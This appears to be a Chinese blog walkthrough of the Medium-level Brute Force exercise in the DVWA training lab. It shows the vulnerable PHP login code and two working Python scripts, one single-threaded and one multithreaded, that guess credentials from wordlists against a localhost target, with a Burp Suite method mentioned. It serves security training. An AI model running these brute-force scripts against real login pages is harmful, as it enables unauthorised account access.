zoukankan      html  css  js  c++  java
  • DVWA-1.2 Brute Force(暴力破解)-Medium

    Medium Level

    此阶段在失败的登录页面上加上了sleep(2),这意味着当我们输入的用户名或密码错误时,将需要等待额外的两秒钟才能看到错误页面。这只会减少单位时间内可处理的请求数量,从而使暴力破解的时间更长。

    另外,本阶段源码通过mysql-real-escape-string()函数对输入的用户名和密码中的特殊字符进行了转义,以防止sql注入,因此无法使用万能密钥登录。

    源码

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            $html .= "<p>Welcome to the password protected area {$user}</p>";
            $html .= "<img src="{$avatar}" />";
        }
        else {
            // Login failed
            sleep( 2 );
            $html .= "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>
    medium.php

    漏洞利用

    方法一 利用burpsuite进行爆破

    与Low Level中的方法一相同,不再赘述。另外,如果要用户名密码一起爆破,可以将攻击类型改为cluster bomb模式。

    附结果

    方法二 使用Python脚本爆破

    与Low Level中Python脚本类似

    脚本1:单线程

    # Author:Zheng Na
    import requests
    
    url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
    headers = {"Cookie":"security=medium; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
    
    flag = False
    f1 = open("username.txt", 'r')
    for line1 in f1:
        username = line1.strip()
    
        f2 = open("password.txt", 'r')
        for line2 in f2:
            password=line2.strip()
            params = {'username': username, 'password': password, 'Login': 'login'}
            response = requests.get(url, params=params, headers=headers)
            if "Welcome to the password protected area" in response.text:
                print("33[31;1musername:%s,password:%s----right account!33[0m"%(username,password))
                flag = True
                break
            else:
                print("username:%s,password:%s----wrong account!"%(username,password))
        if flag == True:
            break
        f2.close()
    f1.close()

    结果

    脚本2:多线程

    #Author:Zheng Na
    
    import threading
    import requests
    
    def connect(username,password):
        semaphore.acquire()
    
        url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
        headers = {"Cookie":"security=medium; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
        params = {'username': username, 'password': password, 'Login': 'login'}
        response = requests.get(url, params=params, headers=headers)
        if "Welcome to the password protected area" in response.text:
            print("33[31;1musername:%s,password:%s----right account!33[0m" % (username, password))
        else:
            print("username:%s,password:%s----wrong account!" % (username, password))
    
        semaphore.release()
    
    semaphore = threading.BoundedSemaphore(50)  # 生成信号量实例,最多允许50个线程同时运行
    
    f1 = open("username.txt", 'r')
    for line1 in f1:
        username = line1.strip()
        f2 = open("password.txt", 'r')
        for line2 in f2:
            password=line2.strip()
            t = threading.Thread(target=connect, args=(username,password,),)
            t.start()
        f2.close()
    f1.close()

    结果

  • 相关阅读:
    Egg.js 介绍以及环境搭建
    Redis在Nodejs中的使用
    Android8以上 显示通知栏简单实现
    Android 跳转到系统通知管理页面
    Android APP打开另一个APP的几种实现总结
    Python 库大全 --收集
    python读取Excel数据保存到mongoDB中
    python读取mongoDb数据库保存到Excel中
    Python中的Matplotlib绘图
    数据分析案例:统计电影分类的情况
  • 原文地址:https://www.cnblogs.com/zhengna/p/12703084.html
Copyright © 2011-2022 走看看